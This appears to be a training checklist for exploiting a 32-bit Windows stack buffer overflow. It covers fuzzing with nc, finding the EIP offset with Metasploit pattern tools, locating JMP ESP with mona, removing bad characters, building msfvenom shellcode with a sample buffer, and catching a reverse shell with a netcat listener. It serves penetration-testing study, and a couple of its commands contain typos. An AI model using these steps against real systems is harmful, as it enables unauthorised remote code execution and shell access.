Steps	WIndows 32 bit stack-based buffer overflow checklist	Commands / Information
☐	Gather victim IP and BOF port	Find out the IP and port that the buffer overflow is using
☐	Add to <ip> and <port> in your script	Set the victims IP and PORT in your script
☐	Send a really big payload, confirm BOF vuln	python -c 'print("A" * 4000);' | nc <victim> <ip>
☐	Confirm you overwrote the EIP in Immunity	Confirm the EIP looks like **41414141**, top right windows of Immunity
☐	Generate unique pattern with pattern_create	metasploit/tools/exploits/Pattern_create -l 3000
☐	Add unique pattern to the "pattern" variable in script	Comment out the payload in the script, run script inluding the pattern as the payload
☐	Copy new EIP from Immunity	Top right of immunity, copy EIP to clipboard
☐	Calculate offset with pattern_offset	metasploit/tools/exploits/Pattern_offest -q <EIP>
☐	Show all .dlls (modules) with Mona	Command: !mona modules
☐	Find .dll without bad character (x00) and w/o protections	No rebase/safeseh/aslr/nx/osdll
☐	Find "JMP ESP" in .dll	!mona find -s "\xff\xe4" -m <example dll>
☐	Copy memory address of JMP ESP in .dll	Flip it to little endian (backwards) https://searchnetworking.techtarget.com/definition/big-endian-and-little-endian
☐	Send bad characters	https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/
☐	Find bad characters	From registers panel, click where all the junk went and click <follow in dump> see hex window (bottom left panel)
☐	Re-send bad chars w/o first found bad char	Incrementally remove bad characters, if you find in the hex dump, remove from script, and send it again, go on to the next bad char.
☐	Generate stageless payload shellcode	Msfvenom, with -b for excluding found bad characters
☐	Add shellcode/JMP ESP / NOPs (\x90) to script	Add the generated shellcode to your script, add the JMP ESP in proper format, add NOPs as padding (usually 16 is fine)
☐	Finalize payload and script	Ex payload. buffer="A" * 2600 + "\x8f\x34\x2a\x7f" + "\x90" * 16 + shellcode
☐	Start port listener	Start a listener with nc -nvlp <port used in msfvenom>
☐	Gain a shell and access	Watch for a reverse connection